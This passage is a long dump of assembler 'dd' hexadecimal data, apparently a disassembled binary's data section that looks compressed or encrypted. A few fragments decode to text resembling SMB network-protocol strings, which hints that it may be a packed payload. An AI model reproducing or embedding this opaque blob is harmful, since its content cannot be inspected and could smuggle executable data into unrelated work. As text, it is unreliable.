		dd 78746823h, 89BDBA41h, 61A56D10h, 0F3E5451Bh,	8810680Fh
		dd 7CB17634h, 0CD1A10ACh, 0F3762A11h, 266D5B19h, 5B51063h
		dd 1019792Eh, 672B6F66h, 0AC44CBD8h, 18D20D84h,	0D0E6BC84h
		dd 7375460Dh, 0E30804A5h, 681068ECh, 0C761104Dh, 9D412DC4h
		dd 0C6E42913h, 8840EDDh, 51538594h, 0D722EA18h,	280C106Dh
		dd 0D90841F0h, 40643F64h, 4C080C51h, 0CE226D49h, 0C17AD61h
		dd 6145148Ah, 2DF410F1h, 52C49A44h, 6E141073h, 6BCA087Ah
		dd 0C72D92EBh, 10742F9Dh, 0A877EA97h, 0DD9443CBh, 79650831h
		dd 709E7208h, 73EE08A2h, 0AA6E10AAh, 78420C82h,	8D7E582Bh
		dd 0A8D11C22h, 0A7F192B0h, 0CB753142h, 8219FEB4h, 0BA2C2FB3h
		dd 0B7595648h, 37E85D10h, 0CF19681Ch, 15CD6C16h, 0AB2819A1h
		dd 65103761h, 0D710506Fh, 0D44B5442h, 68C9D14h,	6ED0840Ch
		dd 0B2A7DE0Ch, 780C13FFh, 0B187D47Dh, 7A6A1098h, 21186F55h
		dd 619924BCh, 92552F97h, 279E00A9h, 12274425h, 6E084A08h
		dd 0F3F7BF08h, 0E22C590Dh, 0E83ED5AFh, 8D18A208h, 0AF6C089Ch
		dd 0C90821DAh, 0C5D56FECh, 0C6621099h, 387E328Bh, 156F5024h
		dd 6C702FF7h, 0D96BF97Dh, 26EDE38Bh, 34CB1074h,	0F910CC6Eh
		dd 889103Fh, 736F6482h,	0D2644632h, 78EAB310h, 8D997071h
		dd 109874BCh, 10359E99h, 24E7D0B1h, 0CDCC6CD1h,	2A206510h
		dd 0C4164B6h, 66FD2935h, 0A950C55h, 64F3ACD9h, 0C683241h
		dd 96648173h, 6E106C2Ch, 76F994ACh, 47DE782Ch, 627F08A8h
		dd 4CD170A4h, 7744131Ah, 75E1198Dh, 0DA68E905h,	0CE346C18h
		dd 97336610h, 0D2278666h, 84CF57F7h, 0BCC98972h, 64124F5Ch
		dd 29199776h, 8086775h,	73C27974h, 66723069h, 5E65468Eh
		dd 5E4C8E10h, 0AA7294E4h, 3D8E7E08h, 0EBD7116Eh, 9710E526h
		dd 6911D82Ch, 0E573E1FDh, 0B442166Eh, 8C132D9Ah, 0BB6C182Fh
		dd 66192437h, 0E97A9FC1h, 0D996A80Ch, 6F651150h, 9A506B15h
		dd 0A0AC7118h, 0AA1BB5B4h, 7458C2C4h, 10D7F07Ah, 0AE622DE0h
		dd 0E25AD28Ch, 0F8116957h, 1B108A1Ch, 0C8107DFBh, 10B27AE0h
		dd 35FC6570h, 0E22C8D19h, 3AC42726h, 0C557571h,	116FB133h
		dd 522D8E58h, 1022BEBBh, 64C20895h, 631393C8h, 186D78B6h
		dd 41409FAh, 48C6BD81h,	0B522D36h, 0BC3AF55Fh, 406C42F1h
		dd 87614F4Ch, 472C4AD8h, 0EE5EEF47h, 0DD186D47h, 9AD83877h
		dd 6DE57410h, 8E057A10h, 809756Ch, 0A0887567h, 419A4F30h
		dd 6372A102h, 9CB622FCh, 0F2705E21h, 41B37870h,	57D711B4h
		dd 9241493Ch, 21BEFB07h, 253879A9h, 0B49870h, 586F12CDh
		dd 79433856h, 9E4468F5h, 7899773Eh, 584348BCh, 0AD10DBC0h
		dd 109B3CA8h, 9AA2907Ch, 848B9DCh, 8A05826h, 104D8B94h
		dd 11B4C94Dh, 68D6E31Ah, 0A520EE39h, 0D4680B9Dh, 7310ECE8h
		dd 34B84595h, 0CDCCC718h, 8D080474h, 0A1D47EA8h, 80FC994h
		dd 3E827364h, 63149161h, 112C69EBh, 0CC65895Fh,	0CD18D688h
		dd 1A10AD60h, 28080944h, 442F08F9h, 7F11DFB2h, 0C320A2FAh
		dd 304DDDA5h, 16713262h, 36EEB5E3h, 3D9010E0h, 2C4D408Bh
		dd 11C27A55h, 0AB6B7261h, 79248518h, 0F9860853h, 6434F112h
		dd 0CCD89472h, 939F6318h, 611035AEh, 6C1882FAh,	4CBEC8D6h
		dd 25844BC5h, 0F426085Ah, 0DA5C224Eh, 2ECB0918h, 4094C25Eh
		dd 0BFA20C34h, 105B0C46h, 74B40C57h, 0DAF3EC18h, 8EE0B18h
		dd 574F0825h, 7AF18DB5h, 0D1100C44h, 4E0842E8h,	344528EDh
		dd 3C3CA8A1h, 1569CD5Fh, 8958EE0Ch, 0A4796B8Eh,	849FB0Ch
		dd 8051625h, 73289FBDh,	60705508h, 0FC6C5A65h, 0DA94116Fh
		dd 344B54D1h, 0E10812CFh, 0B4376BD6h, 4A90EACBh, 280C1A27h
		dd 65940892h, 429CD410h, 14524FCCh, 198A9CD9h, 0B1246570h
		dd 96974A8h, 0C2365AF7h
		dd 58A865C9h, 78C22D83h, 11E3082Dh, 0D6E6908h, 0E4BD79E9h
		dd 27C9D4Fh, 54787410h,	1931ABB4h, 88FA7570h, 123208E0h
		dd 0C6FA863h, 5A61F24h,	0C230C34h, 58BCA563h, 0F65F19DBh
		dd 19B4ECD9h, 0B23817A5h, 6D11658Fh, 0F650A324h, 0DBD7950Ch
		dd 9CCDCD19h, 6E0B74E2h, 0D9794204h, 5610B4B8h,	109626C9h
		dd 0E205C961h, 145EB5C2h, 9572104Ch, 0C074FBAh,	41089A6Bh
		dd 18797A64h, 4E6E4265h, 8523484h, 0E9109866h, 109A0C6Ch
		dd 0F129E657h, 8D371E2Eh, 7F11696Bh, 1004F2B5h,	4B08C351h
		dd 91085510h, 6AA97841h, 78084D73h, 0F818DAB9h,	855E955h
		dd 83A2397h, 0E22D54A1h, 542012E5h, 0BE2020E3h,	341434E3h
		dd 0C8105A08h, 111BFF0Bh, 8F06FE2h, 6D0853E1h, 0D3C96584h
		dd 27DC11B4h, 0AD6AF410h, 61189A38h, 85572E3h, 10D96CBCh
		dd 74BE6C75h, 411C6652h, 55E654D9h, 1169C808h, 11B752F1h
		dd 134FAE6Ah, 10AB68D9h, 8554BC18h, 0CE08A36Bh,	861D9096h
		dd 8C5DFB60h, 74620B42h, 210CC8A8h, 98AF221Ch, 0C4DFD6Eh
		dd 0FF638E34h, 0BC710C4Dh, 9C740814h, 7EA82985h, 0E0290841h
		dd 0A47B1446h, 0BCB0B96Ch, 264ACD48h, 0D1821045h, 0BC113D0Dh
		dd 0C8ACFCB6h, 8A790C82h, 290C6E14h, 44272863h,	8D11D799h
		dd 0EA10A56Dh, 0E082C89h, 6CD9966Dh, 49E36719h,	708A2B08h
		dd 0D42E0C45h, 97F025F4h, 815AEDDh, 803BE55h, 0C8094072h
		dd 591CAA6Fh, 8810B695h, 8C6722D2h, 6EA984C9h, 0F4E208F5h
		dd 9216CF3Dh, 998B7A10h, 6152CDD0h, 54AC6920h, 270CA3ACh
		dd 0DDE052Dh, 4364380Ch, 2DB06418h, 10D166B9h, 4D58672Eh
		dd 0E85DFE10h, 5B2D7402h, 207C3644h, 12E3EABDh,	8932808h
		dd 0E592ADA0h, 3B11C86h, 0C6A631Fh, 462D3EC9h, 1C745262h
		dd 4D14844Ah, 0BF5F6108h, 4A0C52B6h, 1865B8F7h,	9A60AC68h
		dd 6D04DE10h, 0E2905911h, 10B4A4F9h, 106A589Dh,	63C9089Eh
		dd 79FA101Bh, 1059C0B3h, 750840A7h, 1422B0B3h, 79700995h
		dd 0FC19B4E3h, 1F344F3Dh, 4AA70C11h, 0C14B3B1h,	81AFAD7h
		dd 0E026DA68h, 68951421h, 0C77280Dh, 14A479FAh,	502BF9B1h
		dd 6B54413Eh, 50F60824h, 0ED621965h, 680CD1BCh,	0B520085Ch
		dd 888AEC97h, 0F57A630Ch, 6A6284F3h, 0B7088488h, 69348A52h
		dd 0C590B408h, 3BCC996Ch, 877B04Ah, 9CD52D4Bh, 54651408h
		dd 0A46B4C6Ah, 4A794258h, 0E032C484h, 0C0135567h, 18B1114Bh
		dd 52117CEBh, 40515879h, 8536F44h, 186D5C1Eh, 7B7A4110h
		dd 0C26CA369h, 0B2D4F979h, 9FDC6B10h, 0FC11641Bh, 0F034D0D6h
		dd 483BB478h, 0AD18B540h, 70396BBCh, 5B68F38Bh,	946719D9h
		dd 0DE0C7412h, 0FCF3126h, 9E301472h, 88ADA2Ah, 49CCB52h
		dd 19910C22h, 20849F20h, 0FCC7644Bh, 0EF62112Ch, 506E844Dh
		dd 0A296084Eh, 1B9F78CDh, 0B114F53h, 2088728Ch,	0B477BE34h
		dd 340821C0h, 18783694h, 68086F53h, 1BAD0826h, 736DC15Dh
		dd 10693473h, 108ACD58h, 0DFCC3E89h, 32720C81h,	74FA783Eh
		dd 8ADFBB6h, 0EC6B0C00h, 1719D24Eh, 6C75E618h, 0F967E418h
		dd 44FB0847h, 6510C7F8h, 0A5188A6Bh, 105AD41Bh,	40571FC4h
		dd 79789CA3h, 0BCE8B968h, 132F6434h, 62350A6Ch,	0DD176FFCh
		dd 0DA0C07C6h, 6D864C4Ch, 9B894CAAh, 854F58D1h,	1AF86462h
		dd 8C21997Ch, 25084350h, 567C732Fh, 39D94E28h, 0E02B83Fh
		dd 7334B32h, 110D5058h,	454D0888h, 0C383908h, 3511544Eh
		dd 64501C83h, 87A3F75Dh, 0CA55794Dh, 0EB5003DCh, 0E8059002h
		dd 2FF60F9h, 66C9315Bh,	800EB961h, 43F40E73h, 18F953E2h
		dd 0C2DB1CCh, 3302C086h, 400364C0h, 0BA78303Fh,	7006E18Bh
		dd 0E86AD1Ch, 0A09EB08h, 0B38D343Fh, 0F13C0C7Ch, 0B9D03D0h
		dd 78484FCAh, 0D72041A7h, 1C59D0DAh, 0F6E4FF33h, 27C05771h
		dd 7981100Ch, 245B9E0Ah, 98021F14h, 74031633h, 795639Dh
		dd 0C0833B17h, 30C33704h, 0DB74F685h, 0D7E8FFE8h, 6F20339h
		dd 12E857FAh, 0F66FF9D1h, 2D200EF5h, 5EAA7269h,	6A3838DFh
		dd 3317E818h, 0C3780175h, 81665AB5h, 0F100710h,	0A6A8ED84h
		dd 5B0258C3h, 0EC83505Dh, 8B9F8054h, 75488DFCh,	0F3D70040h
		dd 0AB44B0AAh, 51715257h, 30286A39h, 53550C01h,	83D601FFh
		dd 0C08554C4h, 0DE64A7C3h, 0EE757264h, 18BCD4E9h, 0F84E5B7Ch
		dd 79BA966Fh, 80F32E0Ah, 0AFF6BC5Ah, 79E7026Fh,	53C6086Dh
		dd 9C1CB614h, 78012963h, 8C20B97h, 5540E0D0h, 533A7465h
		dd 0F9762C18h, 1E80A23h, 80C495Ch, 40E20614h, 316D64A9h
		dd 0DC393325h, 0A463CBCEh, 0F3401B42h, 8E09148Bh, 34BC40DFh
		dd 348735E2h, 10402F1Bh, 6BF901BDh, 3038D605h, 53410A40h
		dd 1C312E4Eh, 5454482Dh, 1B94050h, 4BD2D915h, 14E7DA40h
		dd 564DEA40h, 3BB48042h, 0FF34540h, 24203C40h, 857C0054h
		dd 4D11C840h, 0E4011B1Ch, 129008Eh, 0D84FC8CBh,	5A1610EBh
		dd 6A5C334Ah, 34800180h, 59E2990Ah, 897366FAh, 0F798ED70h
		dd 9521C3F0h, 0E664690Fh, 0E9877C12h, 0D9633485h, 0D841CB91h
		dd 7E9AA5EAh, 0E1EF316Ah, 0E9B9E70Bh, 8DD7FC62h, 0CF74AA07h
		dd 0A6D6C8CEh, 0F36B0019h, 3F6AC097h, 0C6EA91EDh, 9D5E1A03h
		dd 0E707BDCh, 5412C710h, 9ABDDF41h, 0D07E615Ah,	503FAA58h
		dd 0CD826FFFh, 0F3EF1C85h, 0A81E6D9Bh, 0D863F912h, 5F3D1A6Eh
		dd 0F3499F97h, 0E571C006h, 1A80E5DCh, 66CFCB94h, 0C36365CEh
		dd 229DF3D2h, 0C96FF026h, 0CC988F03h, 0C7692C9Bh, 879E5E2Ah
		dd 0AA243099h, 0DE031059h, 0CE89F39Dh, 6D2836CAh, 616C0D36h
		dd 1650D46h, 12DD751Ah,	8042AA6Dh, 8510C034h, 0EA627B17h
		dd 6A164DFh, 5ED907A5h,	0A098B592h, 89DE14CCh, 0CACF36C9h
		dd 5EEC6702h, 0FA1BA5F8h, 0BD27FDF4h, 0FE7D3A0Ah, 0AC71313Ah
		dd 0ECCC1C35h, 81C85160h, 0C34B2480h, 777B32C0h, 3E715A80h
		dd 0FE6762h, 0C9EDFCDEh, 0D8FAF6EBh, 0E9EDFD71h, 0DA99C4EAh
		dd 0EDF80CC7h, 1D33129Ah, 0E1DCF8D8h, 0D4DFDF0h, 0F8DCD5F1h
		dd 0FBFDE9FDh, 0E026B7FBh, 0EAEE0732h, 3EAAC6ABh, 0E57BA7F4h
		dd 88F23C9Bh, 0F0FB240Ch, 0EAF5E8F7h, 3E7CDEEAh, 64FAF819h
		dd 94F4E7E9h, 0B5C5FA80h, 0AE4AE9FCh, 6E69AC44h, 0F47DD9EAh
		dd 12DD3703h, 2C5E1428h, 45A2FCBDh, 0B594E677h,	0A72F0851h
		dd 3A45634Dh, 9D54203Ch, 21A15173h, 5402826Fh, 0ADF66346h
		dd 14184D5Ah, 16778A0Bh, 34488776h, 0EB8EEF2Dh,	0DD5CA84Fh
		dd 13CE9F69h, 54FE32EFh, 238CE57Fh, 368C2CB0h, 29530F86h
		dd 0A84CE2B4h, 5A38AE90h, 0B9F4C8EDh, 0E2C16DB9h, 0F67B140Dh
		dd 5AD759C6h, 55DFE3E9h, 0AEE43429h, 271EE384h,	8FEF50F7h
		dd 4F2F356Fh, 6898F5BCh, 7BE32E29h, 0ABD060E7h,	5BBBF8D2h
		dd 64F4F4BDh, 0D1F3AF20h, 4F07EC4Fh, 5AEA6CECh,	4FE908A8h
		dd 0FD3A4231h, 0FBD3380Ah, 0EC5E2A6Bh, 9B3EB4D0h, 0FEF43490h
		dd 0FEE487CBh, 0EFF5F8CAh, 4C953CDEh, 0A45E2C8Ah, 0AE926F63h
		dd 2846149Ah, 7B22FE93h, 84C57F53h, 530290A3h, 942D6275h
		dd 0C4A09310h, 7F35CA46h, 68407452h, 0CF3FAE12h, 0B4E460F8h
		dd 664F6F0Ch, 0EFA522F8h, 0AED674DFh, 7AEF4956h, 0A4184CFCh
		dd 6C91AC6Eh, 0ED4FB5D1h, 0B6E14FDBh, 0DB725E30h, 94E74217h
		dd 0B98CBF73h, 0D218912Eh, 40AD9D96h, 0E0755365h, 2C23716Dh
		dd 9069EBD7h, 0AD75344Ah, 80D62F35h, 0C2588D5Eh, 2924290h
		dd 0FF88C10h, 8AC0170h
		dd 0FDF0200Ah, 0FF120C7Fh, 19F2E5C5h, 0C8A5183Ch, 372A6AB6h
		dd 62700713h, 43500200h, 54454E20h, 524F1B57h, 67A7B44Bh
		dd 4D417347h, 302E31C0h, 2F4C30CFh, 29065A4Eh, 3F4C770Bh
		dd 9FF4666Eh, 0F6A59F24h, 1E709840h, 31332E33h,	0E4D5161h
		dd 30583248h, 3E332B3Dh, 0E4162EEDh, 32DC2054h,	0F51630DBh
		dd 86738828h, 0CB10743h, 40B85FFh, 1A380A11h, 8006CAD4h
		dd 2E811008h, 4B0E1944h, 0A745AA46h, 3E0DEF3Bh,	7D4742A0h
		dd 90024152h, 21C68F2h,	2102DCDCh, 0E0423F3Fh, 49484783h
		dd 9E4B504Ah, 504F004Eh, 54535251h, 57005655h, 615A5958h
		dd 646362h, 68676665h, 6C6B6A69h, 0CC26D4Eh, 245E71h, 78777675h
		dd 304A7A79h, 2B8571FFh, 98BE682Fh, 50816660h, 14899BECh
		dd 0DBEDE8E6h, 9683680h, 637CD612h, 8919F761h, 0A2E10846h
		dd 4761440h, 0D06B0F68h, 0E2AACA2Bh, 110C9E15h,	97FAC43Fh
		dd 0CDD62487h, 0DB313E1Bh, 99E0103Fh, 0C389D0FFh, 768B561Fh
		dd 0B9C7143Bh, 0A4F30110h, 50C0315Eh, 6530298h,	0C3656FFh
		dd 40D49E8Bh, 5E3F5FC4h, 60E0065Bh, 7123E8h, 0C24448Bh
		dd 837C588Dh, 53C430Eh,	9288E81h, 631F2610h, 0FFF0380Eh
		dd 24048B80h, 5014C483h, 67C37CCEh, 32F764D2h, 26228933h
		dd 4B1BB8C6h, 0F402A161h, 0AF07F3DFh, 0EB430374h, 107E216Fh
		dd 58FC8F64h, 60C31361h, 8B2321BFh, 89C78E1Fh, 0F842FE07h
		dd 6B78C781h, 39F9D83Eh, 4743F19h, 0F8EB098Fh, 5A4FFA4Fh
		dd 0DF05DE3Eh, 0F63EBE52h, 4A3E113Fh, 0FD43C606h, 0A1286E01h
		dd 4039360Ch, 6E58B31Ch, 8E1EC51Eh, 4460EB1h, 6C8F9ABFh
		dd 45C72824h, 554F33Ch,	9FEA8C3Eh, 5A0F184Ah, 0E3EB0120h
		dd 34ED4938h, 31EEC0F7h, 0FC95A0FFh, 7E0FAACh, 0CFC10774h
		dd 0EBC7F00Dh, 7C383BF4h, 0E1759B24h, 660EB448h, 124B0CC6h
		dd 0BF061C41h, 89E82854h, 3861F6DDh, 487E08C2h,	0C4C2F8FEh
		dd 0D881F254h, 4946E8FCh, 7CBB91F7h, 4FA0EF3Ch,	2E235F42h
		dd 0AC99C083h, 40B7A684h, 5488C2CAh, 75041A24h,	5B3344E3h
		dd 3F4827CCh, 325C8919h, 645A94C3h, 85301DB2h, 0EE0F788Bh
		dd 8680AA0h, 3F5F0BE9h,	7C05348Ah, 3C680008h, 60F6315Fh
		dd 0DEB561Eh, 0FCEEF49h, 0FE98C072h, 0B570E8Ah,	0EEE8E7FFh
		dd 0FC878443h, 2BE20643h, 57101E6h, 19A00235h, 0C8A1CCA4h
		dd 439C0309h, 308C4A79h, 1905506h, 6D6322C2h, 0D72FDFC1h
		dd 3C11F89Ch, 94E95F6Fh, 3E3F2396h, 14261A2Ah, 192979B7h
		dd 0BF3E0531h, 5E145227h, 1C4ECB5Ah, 2AFA9F12h,	4941086h
		dd 8E2DB73Fh, 1BF88D3Bh, 6022A73Eh, 83C93302h, 0D9AF1CE9h
		dd 247480EEh, 73815BF4h, 1EBB1300h, 0EB836AD3h,	0E27DFCh
		dd 25387447h, 952CE753h, 587E4403h, 0A13A9F06h,	0AFE8872Fh
		dd 1FC3076Fh, 0EFF4E13Ch, 819B3587h, 308B8938h,	30785EF7h
		dd 7B5B3D03h, 0A0EE7F87h, 0ABD46Ah, 0A8D21371h,	3EE8EA50h
		dd 0A6369F00h, 0F7413089h, 78F86Bh, 95F06658h, 0F5BA768Ch
		dd 3046D000h, 0A74EBF97h, 5810607Fh, 8B2A587Ah,	66939501h
		dd 0C7CF6E30h, 0DB5ED0h, 9D90D334h, 2C4E5764h, 0C58ABC00h
		dd 76DD39B5h, 0D3580EE0h, 0E481A069h, 0E0BA2C4Ah, 96373ED5h
		dd 97C03180h, 4C3A0C36h, 0EE00ECF3h, 6B95D174h,	630F0A76h
		dd 84B34Eh, 39804D6Dh, 0E890E8E8h, 50B1F1F8h, 0D30FD368h
		dd 2E8B5AE0h, 70186AB0h, 7439D9CBh, 0EE3B00C3h,	1F0203E1h
		dd 833CFDB3h, 390514ECh, 575E040Ch, 3A412355h, 8E864AEFh
		dd 40BB8D88h, 3DAAD8C2h, 19C86144h, 830EB978h, 3207B080h
		dd 0E23AC0FBh, 0E31F0737h, 4097745Ch, 99132F59h, 91E01117h
		dd 0FF401F1Fh, 0EB6436F9h, 0B5100FC1h, 0AD8018BBh, 5ACE95C5h
		dd 49E08CA0h, 0EA3B8103h, 3C6BB94Fh, 44008608h,	62C7BBCEh
		dd 39641D1Bh, 2082B990h, 30888029h, 37E92F49h, 5C487A7Fh
		dd 0D00854E1h, 35E80A33h, 614952C0h, 3EFFF88h, 28AC8144h
		dd 0B22AE320h, 0F1E849A4h, 8C025817h, 29CC94BBh, 0D76419C6h
		dd 1A308A08h, 0EE1A0804h, 50583931h, 0CCC28ACh,	31082B30h
		dd 30069295h, 3A544E18h, 329A2C34h, 1F240230h, 53E01F2Dh
		dd 40744EBh, 0C08A885Dh, 9F11C91Ch, 50AE858h, 6048102Bh
		dd 4FC81400h, 704B32h, 1201D316h, 0BF475A78h, 88E16E10h
		dd 1D335C8Eh, 69700904h, 62265A8Fh, 0D6EFA972h,	261314B3h
		dd 806F2463h, 0E369FC71h, 0CD8365F2h, 0B484222Ah, 84FF1375h
		dd 8A106436h, 88762685h, 0C3251148h, 9133499Ah,	0F1001C3h
		dd 297C8ECh, 0DA64185Fh, 0B7148900h, 1D9D2C9h, 34EF333Eh
		dd 0B8431F25h, 2F5C8A30h, 0D1FF0161h, 8EAA0A62h, 55222801h
		dd 6403A154h, 50FE015Fh, 1AF6503h, 570328FFh, 94FF0166h
		dd 1672B03h, 1503CAFFh,	0E5FF0168h, 169030Ah, 385F2FFh
		dd 0F9017F6Ah, 0BF6B0342h, 3A1FC01h, 0E3014A6Ch, 6EB8841h
		dd 1E100E0Dh, 0A4326D50h, 1E87B0FCh, 877FC8C8h,	94B33460h
		dd 0F2071CAh, 0B9377880h, 0FDECCF7Fh, 52C0C2EEh, 0D8B08203h
		dd 870C900Fh, 0E89E9DC1h, 43CE9403h, 2686C1EDh,	3A1EBFE4h
		dd 0F3005D64h, 8AB518CFh, 943C1BC9h, 5B8D8373h,	203CBDAFh
		dd 0E100EC40h, 0C34D543h, 7EC597h, 0F4F5CB6Ch, 63FDA40Eh
		dd 0E80BE61Dh, 9A43E380h, 7880C4Fh, 0D4F7F4D5h,	0C0C74074h
		dd 90E1787h, 4393D786h,	0F8190F37h, 3A4CB1AEh, 0CBAA0B5h
		dd 808D9707h, 92128057h, 8978F37Bh, 5000517Ch, 3449E19Ah
		dd 9D8577h, 18787DB3h, 3D8EA6B1h, 328743Ch, 0D42C8A1Eh
		dd 0A33CA39Bh, 0C750C68Bh, 4FEC5E68h, 5D66F683h, 0B89DDBC0h
		dd 0B3391E61h, 26E4D66Fh, 6CEF03AFh, 9F6E5174h,	40D4A9C1h
		dd 0F9902D0Ch, 18D7CE44h, 882A8D9Ch, 6006174Ah,	0D0061FB1h
		dd 0BF19C3E0h, 8007E315h, 3C41EA1Ch, 0F091D780h, 2F0E39B3h
		dd 2A283BBAh, 627400CCh, 36AA3D27h, 1400539Bh, 2C47A345h
		dd 7C177263h, 696A05F5h, 9DBD78h, 2D8E938Ch, 881999D6h
		dd 2A088615h, 750937E0h, 0DC110C17h, 1590D4B1h,	0EE501C90h
		dd 8E064388h, 0BD0C0483h, 0E19A6048h, 0D87B5338h, 0C0AA9B41h
		dd 16D5345h, 0E070BFBAh, 434E2556h, 73A19957h, 9E22A83Ah
		dd 0C1AB5B53h, 7B79422Fh, 0C75DA1F4h, 0BC465240h, 3368302Eh
		dd 0A130546h, 844E44E3h, 0D4A5BABCh, 4FBD2E3Ah,	22693EDBh
		dd 0CA129FBh, 4FC3D1C9h, 93C1B673h, 0A4D344F7h,	46672FBBh
		dd 53BB5106h, 75329C51h, 3450BA8Eh, 0ABA14F30h,	72E3BFC7h
		dd 0C9FF8D30h, 34388730h, 43E23532h, 0BA45FF61h, 0A555DE2Fh
		dd 0DBCB16FFh, 0BF5B0343h, 0AEB549FCh, 0AC2E8C9Dh, 7EC0B6ACh
		dd 20545736h, 3834769Ah, 18123ABFh, 7B353137h, 0E54F6B30h
		dd 492790FDh, 52411F4Eh, 285DE559h, 18FA817Fh, 73455280h
		dd 7C68AA54h, 4F500F5Ah, 3AF765DFh, 0D0515D8Fh,	0AE6DA948h
		dd 3403B3DEh, 49047818h, 63202A14h, 5D2C5E5Bh, 0CF065AE5h
		dd 58289C0Ah, 936CCC8Dh, 53492A4Ch, 4F30A420h, 761EF450h
		dd 0CED655Ah, 0D7F1DFE7h, 7C40BDE2h, 53411450h,	0AFA5B856h
		dd 0E6AA7894h, 0AE492A95h, 0C8184AE9h, 5444BA41h, 45505915h
		dd 37350338h, 952F2220h, 0EE4B9CF8h, 0FF640772h, 0F1843F4Eh
		dd 4457501Ch, 48443312h, 5D8D6552h, 304CD159h, 0A2CCAC53h
		dd 0A7815565h, 2A46796Eh, 191F6784h, 0CC185914h, 95556833h
		dd 127AD15Eh
		dd 30B02E38h, 3129338Eh, 314CC5D7h, 0A07571E0h,	769D41EBh
		dd 0BE40349Ch, 2C322065h, 0CF60BB30h, 2E9C77B7h, 4FA5ED6Ah
		dd 0F6AE053h, 5BB15DCBh, 0FE9FAD2Ch, 0EB6E1AAAh, 0B985F843h
		dd 0DC4724ECh, 0B44BC23Dh, 0BBF2F38h, 90405297h, 364B6519h
		dd 4385253h, 0FB796D2Ch, 0DF1EFB1Ah, 2D5B64C4h,	2C9BFEB9h
		dd 638A9FBFh, 132C1912h, 0A4102573h, 781E1112h,	3DCED0B9h
		dd 70583067h, 1EA112FDh, 57C4D25h, 0E43F5F38h, 7F12496Eh
		dd 4C641214h, 0B786670Ah, 41694029h, 954D9B7h, 14DC522Dh
		dd 2FA6D6A6h, 7F554436h, 3454EF44h, 4D470303h, 0BD225B54h
		dd 5E2D25D9h, 0FEDC2FF4h, 577A1A48h, 0BE2B890Ah, 0FFD614D3h
		dd 2EAD962Dh, 264D11F6h, 0D7F004A3h, 0B87DDC23h, 0E7A0B0FFh
		dd 0DA5CF83Bh, 8F58D02h, 2BB4DCDh, 15E179A2h, 0F76C8392h
		dd 2F7339CCh, 35657ECFh, 7DB669D3h, 1C3FC49Bh, 3D2FA678h
		dd 486C263Eh, 0E2664A54h, 5522B951h, 28903847h,	0B217ABF4h
		dd 2A556DFEh, 2997299h,	345C092Ah, 7E9746D6h, 0AF69641Ch
		dd 0E1ABAE24h, 0F6AB2593h, 3DB7E5FFh, 0A2B1BD76h, 3E93703Ch
		dd 0FE0C14DAh, 4C4F05C5h, 4E3A8053h, 3372223Dh,	483C3E1Bh
		dd 412FA32Ch, 93DE1B2Ah, 410E0522h, 5E454C42h, 444F050Ah
		dd 0FD095459h, 694C4D1Eh, 1C752548h, 437C8BFCh,	639F7B15h
		dd 5825654Ch, 286D9D2Dh, 9432DD30h, 569A280Fh, 4D292ACAh
		dd 95887A8Ch, 0F1F54957h, 11934448h, 0A14194DDh, 92808DF2h
		dd 85093CA2h, 7B0BEB25h, 5A47E005h, 6255CAC3h, 643338AEh
		dd 0A334AD6Bh, 545238D3h, 0EEF41B3h, 2EA21814h,	267361E0h
		dd 3B5657B0h, 0B4EC911Fh, 39EEC87Dh, 1C28C20Ah,	0D8DE4373h
		dd 0D62D29ABh, 2BC01EF2h, 68BA2F73h, 393270D8h,	251F8D86h
		dd 5320AFFFh, 0A71A146Dh, 154C413Fh, 1A46451Ah,	0BC2900B7h
		dd 24372AB5h, 29CA3276h, 9E062F64h, 6A209C34h, 63A550Bh
		dd 411B73B8h, 97F914Dh,	0B48436E3h, 855C7166h, 615009B9h
		dd 0AF53D64h, 5D4BF43h,	80F37FA9h, 8E3B64D6h, 3509B7ECh
		dd 0BD6FA204h, 0ADAF1852h, 116B2748h, 560A2083h, 9753ACDDh
		dd 0E0B5FC62h, 3179B220h, 58554958h, 92075862h,	8A203926h
		dd 58A16455h, 52379D20h, 309C3C68h, 3C2D52E5h, 10C5A4CEh
		dd 7B234145h, 8D4C9649h, 0DD27343Fh, 372519DAh,	0F5EC49E2h
		dd 465C543Ah, 0C80699D2h, 654F520Ah, 1D2A701Dh,	769D48F8h
		dd 5F956B9Ch, 0D5650A9Ch, 5D96FCB6h, 0F403DBDCh, 44B3E5CCh
		dd 4E090E31h, 7CD458EFh, 63A244D1h, 27565977h, 51BF7496h
		dd 1675A5AAh, 5CFC97DCh, 973E86DCh, 3C48D8CDh, 6A4E4371h
		dd 0F5A3FC92h, 48909CCEh, 0BB53BFE7h, 79A47B9Ah, 9A880B40h
		dd 49861596h, 0A75C6D57h, 62BD3F9Eh, 736A028Eh,	47C3CB40h
		dd 45CA2C55h, 73ACCC8Ch, 52D98EE3h, 29286475h, 0ED46DEBh
		dd 1626DA58h, 30506257h, 41A4696Dh, 0D2BA9420h,	689F0A1Ah
		dd 736A762Fh, 3EBED24Ah, 5650341Ch, 2401F414h, 4ABD426Ch
		dd 0EDE127FEh, 0C012A1EFh, 0A444CD1h, 0F76A5C92h, 2C4AE9C4h
		dd 0FBC465EAh, 0F80ACB8Dh, 0D3A48FE4h, 4A7C9EAAh, 49F46ABEh
		dd 3C1EE963h, 46BB6349h, 0FF52CB44h, 1A7A111Bh,	9B41D29Dh
		dd 0D78EAAB7h, 42BBE9AAh, 2E73C55Ch, 0BA4FBC6Fh, 9E5EDA36h
		dd 432D63C3h, 467D68D2h, 7C569DF3h, 6B38A576h, 93FE96DDh
		dd 53577930h, 5C4B46A2h, 914032F8h, 0F67BE970h,	24732414h
		dd 27A487FCh, 1AD89255h, 24C4F5F1h, 6346ACAAh, 14F26CA5h
		dd 0E4769D48h, 0F1665DC9h, 73C5708Fh, 7F846C25h, 8F705792h
		dd 0B02CAAB7h, 0A640A37Fh, 7241A17Ah, 88CAA817h, 5C44975Ch
		dd 0B4807152h, 2652B9CAh, 4B66548Bh, 7E7B9AD4h,	6C462493h
		dd 70FC95F9h, 0FA9A345Dh, 2DEFB874h, 0D2340F70h, 3C46FF7Bh
		dd 0D1626ED7h, 7F9DA444h, 4E42764Fh, 91150B41h,	0C5CE5F94h
		dd 2EED4491h, 0CDFA5D25h, 0ACE212Ch, 4BBDA440h,	2579C945h
		dd 9829AF97h, 69CB7A63h, 212D9EE6h, 9C315B3Dh, 6B040C05h
		dd 0BA1786Ah, 0B17E2F54h, 99ED5425h, 86601E8h, 4DDA9509h
		dd 2330785h, 0B5095E0Dh, 66070AE9h, 5091B02h, 4353455Bh
		dd 207765Dh, 46147050h,	7A5317Ch, 0A7710232h, 7DA320Dh
		dd 72022A53h, 0A5337D0Dh, 73023207h, 0DA340DA7h, 22A5307h
